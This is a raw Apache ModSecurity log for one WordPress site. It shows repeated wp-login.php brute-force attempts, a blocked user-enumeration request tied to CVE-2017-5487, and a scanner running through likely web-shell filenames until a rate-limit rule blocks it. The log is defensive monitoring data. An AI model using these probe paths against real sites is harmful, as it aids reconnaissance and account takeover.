[Sat May 16 07:42:19.326060 2026] [:error] [pid 24869:tid 24923] [client 163.227.186.27:37192] [client 163.227.186.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.227.186.27, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agevW-xo3FMprMltYl4MfAAAAE8"]
[Sat May 16 07:42:20.653752 2026] [:error] [pid 24869:tid 24909] [client 163.227.186.27:37192] [client 163.227.186.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.227.186.27, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agevXOxo3FMprMltYl4MgAAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 07:59:50.865916 2026] [:error] [pid 24874:tid 24956] [client 103.255.190.237:49406] [client 103.255.190.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.255.190.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agezdsiii6x3XidYGHGupQAAAJU"]
[Sat May 16 07:59:52.362725 2026] [:error] [pid 24874:tid 24954] [client 103.255.190.237:49406] [client 103.255.190.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.255.190.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agezeMiii6x3XidYGHGuqAAAAJM"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 08:19:47.236516 2026] [:error] [pid 5602:tid 5616] [client 5.182.209.54:45326] [client 5.182.209.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.182.209.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "age4I9zTTsu77r3UIsnmpQAAAQw"]
[Sat May 16 08:19:50.386904 2026] [:error] [pid 5602:tid 5612] [client 5.182.209.54:45326] [client 5.182.209.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.182.209.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "age4JtzTTsu77r3UIsnmrQAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 08:38:14.628534 2026] [:error] [pid 24979:tid 24989] [client 43.165.7.132:44108] [client 43.165.7.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "age8drvSFUQiwLaOL2pKfQAAAMg"]
[Sat May 16 09:14:05.647709 2026] [:error] [pid 5602:tid 5612] [client 43.134.98.88:59048] [client 43.134.98.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agfE3dzTTsu77r3UIsn4dQAAAQg"]
[Sat May 16 09:18:34.314337 2026] [:error] [pid 24874:tid 24954] [client 78.46.146.177:36330] [client 78.46.146.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.146.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfF6siii6x3XidYGHG8vwAAAJM"]
[Sat May 16 09:18:35.491193 2026] [:error] [pid 24874:tid 24955] [client 78.46.146.177:36330] [client 78.46.146.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.146.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfF68iii6x3XidYGHG8wAAAAJQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 09:25:16.766127 2026] [:error] [pid 24874:tid 24959] [client 190.159.36.43:42424] [client 190.159.36.43] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agfHfMiii6x3XidYGHG9kgAAAJg"]
[Sat May 16 09:28:36.808331 2026] [:error] [pid 24867:tid 24902] [client 159.26.107.10:23946] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfIRCDgFLCgyKq-zmYCxQAAABU"]
[Sat May 16 09:28:36.808961 2026] [:error] [pid 5602:tid 5618] [client 159.26.107.10:10312] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfIRNzTTsu77r3UIsn8ngAAAQ4"]
[Sat May 16 09:28:36.843104 2026] [:error] [pid 24979:tid 25000] [client 159.26.107.10:23008] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfIRLvSFUQiwLaOL2pWHAAAANM"]
[Sat May 16 09:28:38.826733 2026] [:error] [pid 5602:tid 5624] [client 159.26.107.10:9385] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfIRtzTTsu77r3UIsn8ogAAARQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 09:28:38.840494 2026] [:error] [pid 5602:tid 5605] [client 159.26.107.10:30367] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfIRtzTTsu77r3UIsn8owAAAQE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 09:28:40.332124 2026] [:error] [pid 24867:tid 24882] [client 159.26.107.10:47734] [client 159.26.107.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.107.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfISCDgFLCgyKq-zmYCxwAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 10:26:44.794980 2026] [:error] [pid 61411:tid 61432] [client 45.128.233.170:40636] [client 45.128.233.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.233.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfV5GVkiEwGnPL_dvHHbgAAAZM"]
[Sat May 16 10:26:46.307485 2026] [:error] [pid 61411:tid 61426] [client 45.128.233.170:40636] [client 45.128.233.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.233.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfV5mVkiEwGnPL_dvHHcgAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 10:33:04.882596 2026] [:error] [pid 61411:tid 61423] [client 217.154.239.191:33146] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfXYGVkiEwGnPL_dvHIlQAAAYo"]
[Sat May 16 10:33:06.238979 2026] [:error] [pid 61411:tid 61418] [client 217.154.239.191:33146] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfXYmVkiEwGnPL_dvHImAAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 10:35:51.258051 2026] [:error] [pid 24979:tid 24997] [client 20.151.206.3:27609] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agfYB7vSFUQiwLaOL2pjKAAAANA"]
[Sat May 16 10:35:51.697372 2026] [:error] [pid 61411:tid 61427] [client 20.151.206.3:27535] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agfYB2VkiEwGnPL_dvHJBgAAAY4"]
[Sat May 16 10:35:52.114953 2026] [:error] [pid 61411:tid 61423] [client 20.151.206.3:27538] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agfYCGVkiEwGnPL_dvHJBwAAAYo"]
[Sat May 16 10:35:52.540854 2026] [:error] [pid 62341:tid 62358] [client 20.151.206.3:27536] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agfYCKnvQ59ep-XG78iLeAAAAow"]
[Sat May 16 10:35:52.958345 2026] [:error] [pid 24869:tid 24920] [client 20.151.206.3:27588] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agfYCOxo3FMprMltYl4iGgAAAEw"]
[Sat May 16 10:35:53.379094 2026] [:error] [pid 24979:tid 24985] [client 20.151.206.3:27641] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agfYCbvSFUQiwLaOL2pjKQAAAMQ"]
[Sat May 16 10:35:53.799637 2026] [:error] [pid 24979:tid 24984] [client 20.151.206.3:27629] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agfYCbvSFUQiwLaOL2pjKwAAAMM"]
[Sat May 16 10:35:54.218833 2026] [:error] [pid 24979:tid 24982] [client 20.151.206.3:27624] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agfYCrvSFUQiwLaOL2pjLAAAAME"]
[Sat May 16 10:35:54.646397 2026] [:error] [pid 24979:tid 24999] [client 20.151.206.3:27586] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "agfYCrvSFUQiwLaOL2pjLQAAANI"]
[Sat May 16 10:35:55.060078 2026] [:error] [pid 24979:tid 24994] [client 20.151.206.3:27529] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "agfYC7vSFUQiwLaOL2pjLgAAAM0"]
[Sat May 16 10:35:55.478164 2026] [:error] [pid 24867:tid 24885] [client 20.151.206.3:27621] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "agfYCyDgFLCgyKq-zmYJuAAAAAQ"]
[Sat May 16 10:35:55.898180 2026] [:error] [pid 24869:tid 24912] [client 20.151.206.3:27587] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "agfYC-xo3FMprMltYl4iGwAAAEQ"]
[Sat May 16 10:35:56.321092 2026] [:error] [pid 24869:tid 24917] [client 20.151.206.3:27591] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agfYDOxo3FMprMltYl4iHAAAAEk"]
[Sat May 16 10:35:56.772537 2026] [:error] [pid 24869:tid 24916] [client 20.151.206.3:27595] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agfYDOxo3FMprMltYl4iHQAAAEg"]
[Sat May 16 10:35:57.199557 2026] [:error] [pid 24869:tid 24931] [client 20.151.206.3:27630] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agfYDexo3FMprMltYl4iHgAAAFc"]
[Sat May 16 10:35:57.618729 2026] [:error] [pid 24979:tid 24996] [client 20.151.206.3:27628] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agfYDbvSFUQiwLaOL2pjMgAAAM8"]
[Sat May 16 10:35:58.038085 2026] [:error] [pid 24979:tid 25001] [client 20.151.206.3:27626] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aw.php"] [unique_id "agfYDrvSFUQiwLaOL2pjMwAAANQ"]
[Sat May 16 10:35:58.460876 2026] [:error] [pid 5602:tid 5616] [client 20.151.206.3:27634] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aw.php"] [unique_id "agfYDtzTTsu77r3UIskN9AAAAQw"]
[Sat May 16 10:35:58.881802 2026] [:error] [pid 5602:tid 5614] [client 20.151.206.3:27625] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aw.php"] [unique_id "agfYDtzTTsu77r3UIskN9QAAAQo"]
[Sat May 16 10:35:59.301869 2026] [:error] [pid 5602:tid 5628] [client 20.151.206.3:27524] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aw.php"] [unique_id "agfYD9zTTsu77r3UIskN9gAAARg"]
[Sat May 16 10:35:59.728982 2026] [:error] [pid 24979:tid 24992] [client 20.151.206.3:27555] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bb.php"] [unique_id "agfYD7vSFUQiwLaOL2pjNAAAAMs"]
[Sat May 16 10:36:00.153849 2026] [:error] [pid 24867:tid 24892] [client 20.151.206.3:27639] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bb.php"] [unique_id "agfYECDgFLCgyKq-zmYJuwAAAAs"]
[Sat May 16 10:36:00.573013 2026] [:error] [pid 24874:tid 24945] [client 20.151.206.3:27557] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bb.php"] [unique_id "agfYEMiii6x3XidYGHHGwgAAAIo"]
[Sat May 16 10:36:00.989654 2026] [:error] [pid 24874:tid 24944] [client 20.151.206.3:27618] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bb.php"] [unique_id "agfYEMiii6x3XidYGHHGwwAAAIk"]
[Sat May 16 10:36:01.418498 2026] [:error] [pid 24874:tid 24957] [client 20.151.206.3:27531] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agfYEciii6x3XidYGHHGxAAAAJY"]
[Sat May 16 10:36:01.838088 2026] [:error] [pid 24874:tid 24951] [client 20.151.206.3:27601] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agfYEciii6x3XidYGHHGxQAAAJA"]
[Sat May 16 10:36:02.254063 2026] [:error] [pid 24979:tid 25000] [client 20.151.206.3:27619] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agfYErvSFUQiwLaOL2pjNQAAANM"]
[Sat May 16 10:36:02.671529 2026] [:error] [pid 24874:tid 24958] [client 20.151.206.3:27589] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agfYEsiii6x3XidYGHHGxgAAAJc"]
[Sat May 16 10:36:03.097281 2026] [:error] [pid 61411:tid 61414] [client 20.151.206.3:27617] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agfYE2VkiEwGnPL_dvHJDQAAAYE"]
[Sat May 16 10:36:03.523426 2026] [:error] [pid 61411:tid 61433] [client 20.151.206.3:27577] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agfYE2VkiEwGnPL_dvHJDgAAAZQ"]
[Sat May 16 10:36:03.938690 2026] [:error] [pid 24979:tid 24993] [client 20.151.206.3:27537] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agfYE7vSFUQiwLaOL2pjOAAAAMw"]
[Sat May 16 10:36:04.356445 2026] [:error] [pid 24867:tid 24898] [client 20.151.206.3:27584] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agfYFCDgFLCgyKq-zmYJvQAAABE"]
[Sat May 16 10:36:04.768350 2026] [:error] [pid 61361:tid 61379] [client 20.151.206.3:27600] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agfYFJZojzbt3jGziNkGLwAAAVA"]
[Sat May 16 10:36:05.181327 2026] [:error] [pid 61411:tid 61426] [client 20.151.206.3:27511] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agfYFWVkiEwGnPL_dvHJDwAAAY0"]
[Sat May 16 10:36:05.610381 2026] [:error] [pid 62341:tid 62355] [client 20.151.206.3:27590] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agfYFanvQ59ep-XG78iLfAAAAok"]
